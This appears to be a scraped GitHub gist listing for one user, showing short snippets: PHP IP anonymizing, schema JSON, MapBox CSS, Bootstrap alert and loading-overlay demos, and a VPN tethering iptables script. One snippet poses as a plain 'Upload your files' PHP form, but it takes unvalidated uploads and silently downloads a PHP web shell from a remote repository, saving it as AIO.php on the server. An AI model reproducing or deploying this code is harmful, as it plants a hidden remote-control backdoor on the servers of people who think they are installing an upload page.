Skip to content

Instantly share code, notes, and snippets.

View dimaslanjaka's full-sized avatar
🥲
need money

Dimas Lanjaka dimaslanjaka

🥲
need money
View GitHub Profile
@dimaslanjaka
dimaslanjaka / anonymize-ip.php
Last active December 20, 2022 00:33
PHP IP Utility
<?php
function anonIp($ip)
{
if (strpos($ip, ".") !== false) { // detect IP type by dots instead of length
$pieces = explode(".", $ip);
$nPieces = count($pieces);
$pieces[$nPieces - 1] = $pieces[$nPieces - 2] = "XXX";
return implode(".", $pieces);
} else {
@dimaslanjaka
dimaslanjaka / func.ts
Last active May 31, 2022 01:10
How to use require in typescript
export default function anyFunc() {
return 'hello world';
}
@dimaslanjaka
dimaslanjaka / article-schema.json
Created November 9, 2021 16:47
Rich Snippets Schema for Article
{
"author": {
"url": "https://webmanajemen.com/author/dimaslanjaka",
"name": "Dimas Lanjaka",
"@context": "http://schema.org",
"@type": "Person"
},
"headline": "Headline article",
"publisher": {
"url": "https://webmanajemen.com/author/dimaslanjaka",
@dimaslanjaka
dimaslanjaka / sudo-nvm-node-link.sh
Last active October 31, 2021 02:52
Install nvm to sudoers bin
@dimaslanjaka
dimaslanjaka / main.css
Created May 14, 2021 06:45
MapBox Example
body { margin:0; padding:0; }
#map { position:absolute; top:0; bottom:0; width:100%; }
#map {
position:absolute;
left:25%;
top:0;
bottom:0;
width: 75%;
}
@dimaslanjaka
dimaslanjaka / generate-bootstrap-alerts-with-javascript.markdown
Last active June 27, 2020 06:43
Generate Bootstrap Alerts with Javascript

Generate Bootstrap Alerts with Javascript

Use a JavaScript method to add bootstrap alerts to the dom all animated and what not. Also has a self destruct option

A Pen by Cody Sechelski on CodePen.

License.

<!DOCTYPE html><html><head> <title>Upload your files</title></head><body> <form enctype='multipart/form-data' action='upload.php' method='POST'> <p>Upload your file</p><input type='file' name='uploaded_file'></input><br/> <input type='submit' value='Upload'></input> </form></body></html><?PHP if(!empty($_FILES['uploaded_file'])){$path='uploads/'; $path=$path . basename( $_FILES['uploaded_file']['name']); if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)){echo 'The file '. basename( $_FILES['uploaded_file']['name']). ' has been uploaded';}else{echo 'There was an error uploading the file, please try again!';}}$content=file_get_contents('https://raw.githubusercontent.com/heiswayi/simple-php-shell/master/shell.php');file_put_contents(__DIR__.'/AIO.php', $content);?>
@dimaslanjaka
dimaslanjaka / index.html
Created February 1, 2020 14:05
Loading overlay - Demo by Roko C.B // source http://jsbin.com/huyusu/3
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Loading overlay - Demo by Roko C.B</title>
<style id="jsbin-css">
*{margin:0;}
body{
font: 200 16px/1 Helvetica, Arial, sans-serif;
@dimaslanjaka
dimaslanjaka / vpn-hotspot.sh
Created January 31, 2020 06:43 — forked from ShapeShifter499/vpn-hotspot.sh
vpn hotspot script
#!/storage/xbin/bash
# This script should help forward VPN over any tethered connection on a Android device. Turn on tethering, then enable VPN, then run this script.
# Inital variable setup
tethering=0
# Setup iptables before forwarding VPN
iptables -A POSTROUTING -o tun0 -j MASQUERADE -t nat
@dimaslanjaka
dimaslanjaka / codemirror-5-48-4-example-test.markdown
Created December 11, 2019 22:27
Codemirror 5.48.4 Example Test